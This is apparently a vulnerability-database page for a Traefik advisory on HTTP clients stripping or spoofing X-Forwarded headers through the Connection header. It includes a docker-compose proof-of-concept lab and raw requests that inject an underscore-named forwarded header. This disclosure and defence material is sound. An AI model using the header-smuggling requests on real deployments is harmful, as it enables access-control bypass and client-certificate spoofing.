GHSA-62c8-mh53-4cqv
HIGHHTTP client can manipulate custom HTTP headers that are added by Traefik
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
github.com/traefik/traefik/v3🐹github.com/traefik/traefik/v2🐹github.com/traefik/traefikReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Impact
There is a vulnerability in Traefik that allows the client to remove the X-Forwarded headers (except the header X-Forwarded-For).
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.9
- https://github.com/traefik/traefik/releases/tag/v3.1.3
Workarounds
No workaround.
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary> ### SummaryWhen a HTTP request is processed by Traefik, certain HTTP headers such as X-Forwarded-Host or X-Forwarded-Port are added by Traefik before the request is routed to the application. For a HTTP client, it should not be possible to remove or modify these headers. Since the application trusts the value of these headers, security implications might arise, if they can be modified.
For HTTP/1.1, however, it was found that some of theses custom headers can indeed be removed and in certain cases manipulated. The attack relies on the HTTP/1.1 behavior, that headers can be defined as hop-by-hop via the HTTP Connection header. By setting the following connection header, the X-Forwarded-Host header can, for example, be removed:
Connection: close, X-Forwarded-Host
Depending on how the receiving application handles such cases, security implications may arise. Moreover, some application frameworks (e.g. Django) first transform the "-" to "_" signs, making it possible for the HTTP client to even modify these headers in these cases.
This is similar to CVE-2022-31813 for Apache HTTP Server.
Details
It was found that the following headers can be removed in this way (i.e. by specifing them within a connection header):
- X-Forwarded-Host
- X-Forwarded-Port
- X-Forwarded-Proto
- X-Forwarded-Server
- X-Real-Ip
- X-Forwarded-Tls-Client-Cert
- X-Forwarded-Tls-Client-Cert-Info
PoC
The following docker-compose file has been used for a simple setup:
services:
traefik:
image: traefik:v3.1
container_name: traefik
ports:
- "443:443"
volumes:
- /var/run/docker.sock:/var/run/docker.sock:ro
- ./traefik.yaml:/etc/traefik/traefik.yaml
- ./traefik-certs:/certs
python-http:
build:
context: .
dockerfile: Dockerfile
container_name: python-http
labels:
- "traefik.enable=true"
- "traefik.http.routers.python-http.rule=Host(`python.example.com`)"
- "traefik.http.routers.python-http.entrypoints=websecure"
- "traefik.http.routers.python-http.tls=true"
- "traefik.http.services.python-http.loadbalancer.server.port=8080"
The following traefik.yaml has been used:
providers:
docker:
exposedByDefault: false
watch: true
file:
fileName: /etc/traefik/traefik.yaml
watch: true
entryPoints:
websecure:
address: ":443"
tls:
certificates:
- certFile: /certs/server-cert.pem
keyFile: /certs/server-key.pem
The Python container just includes a simple Python HTTP server that prints the HTTP headers it receives. Here is the Dockerfile for the container:
FROM python:3-alpine
# Copy the Python script to the container
COPY server.py /server.py
# Set the working directory
WORKDIR /
# Command to run the Python server
CMD ["python", "/server.py"]
And here is the Python script:
from http.server import BaseHTTPRequestHandler, HTTPServer
class RequestHandler(BaseHTTPRequestHandler):
def _send_response(self):
self.send_response(200)
self.send_header("Content-type", "text/plain")
self.end_headers()
self.wfile.write(str(self.headers).encode("utf-8"))
def do_GET(self):
self._send_response()
if __name__ == "__main__":
server = HTTPServer(('0.0.0.0', 8080), RequestHandler)
print("Server started on port 8080")
server.serve_forever()
The environment is run with sudo docker-compose up.
A normal HTTP request/response pair looks like this:
Request 1
GET / HTTP/1.1
Host: python.example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Priority: u=0, i
Connection: close
Response 1
HTTP/1.1 200 OK
Content-Type: text/plain
Date: Tue, 03 Sep 2024 06:53:49 GMT
Server: BaseHTTP/0.6 Python/3.12.5
Connection: close
Content-Length: 556
Host: python.example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Priority: u=0, i
X-Forwarded-For: 172.20.0.1
X-Forwarded-Host: python.example.com
X-Forwarded-Port: 443
X-Forwarded-Proto: https
X-Forwarded-Server: 3138fe4f0a2e
X-Real-Ip: 172.20.0.1
The custom headers added by Traefik can be seen in the response.
Next, a request, where the X-Forwarded-Host header is defined as a hop-by-hop header via the Connection header is sent:
Request 2
GET / HTTP/1.1
Host: python.example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Priority: u=0, i
Connection: close, X-Forwarded-Host
Response 2
Host: python.example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Priority: u=0, i
X-Forwarded-For: 172.20.0.1
X-Forwarded-Port: 443
X-Forwarded-Proto: https
X-Forwarded-Server: 3138fe4f0a2e
X-Real-Ip: 172.20.0.1
As can be seen from the response, the X-Forwarded-Host header that had been added by Traefik has been removed from the request.
Moreover, the next request/response pair demonstrates that a custom header with underscore instead of hyphen can be added:
Request 3
GET / HTTP/1.1
Host: python.example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Priority: u=0, i
X_Forwarded_Host: myhost
Connection: close, X-Forwarded-Host
Response 3
HTTP/1.1 200 OK
Content-Type: text/plain
Date: Tue, 03 Sep 2024 06:54:48 GMT
Server: BaseHTTP/0.6 Python/3.12.5
Connection: close
Content-Length: 544
Host: python.example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Priority: u=0, i
X-Forwarded-For: 172.20.0.1
X-Forwarded-Port: 443
X-Forwarded-Proto: https
X-Forwarded-Server: 3138fe4f0a2e
X-Real-Ip: 172.20.0.1
X_forwarded_host: myhost
Some backend frameworks (e.g. Django) handle X-Forwarded-Host and X_forwarded_host in the same way. As there is no X-Forwarded-Host header present in the request, the X_forwarded_host header will be used.
It should be noted that when X-Forwarded-Host is present and a X_forwarded_host header is sent, usually the first occurence of the header will be used, which is in this case X-Forwarded-Host.
It should be noted that the headers X-Forwarded-Tls-Client-Cert and X-Forwarded-Tls-Client-Cert-Info are also affected. Here, client certificate authentication would need to be enabled in the Traefik setup.
Impact
All applications that trust the custom headers set by Traefik are affected by this vulnerability. As an example, assume that a backend application trusts Traefik to validate client certificates and trusts therefore the values that are sent within the X-Forwarded-Tls-Client-Cert header, but does not validate the certificate anew.
If the header is removed via the vulnerability, and the application framework allows for alternative names (e.g. by transforming the headers to lower case, and "-" to "_"), an attacker can place his own X_Forwarded_TLS_Client_Cert header in the request. This could lead to privilege escalation, as the attacker may put an (invalid) certificate in this header that would just be accepted by the application, but may contain other data than the certificate that is presented to Traefik for Client Certificate Authentication.
Moreover, if the backend application uses any of the other custom headers for security-sensitive operations, the removal or modification of these headers may also security implications (e.g. access control bypass).
The severity is the same as for CVE-2022-31813 for Apache HTTP Server, i.e. 9.8 Critical.
</details>Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/traefik/traefik/v3 | ≥ 3.0.0-beta3&&< 3.1.3 | 3.1.3 |
| 🐹Go | github.com/traefik/traefik/v2 | all versions | 2.11.9 |
| 🐹Go | github.com/traefik/traefik | all versions | 2.11.9 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/traefik/traefik/v3. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/traefik/traefik/v3 to 3.1.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-62c8-mh53-4cqv is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-62c8-mh53-4cqv is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-62c8-mh53-4cqv. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-62c8-mh53-4cqv in your dependencies?
O3 detects GHSA-62c8-mh53-4cqv across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.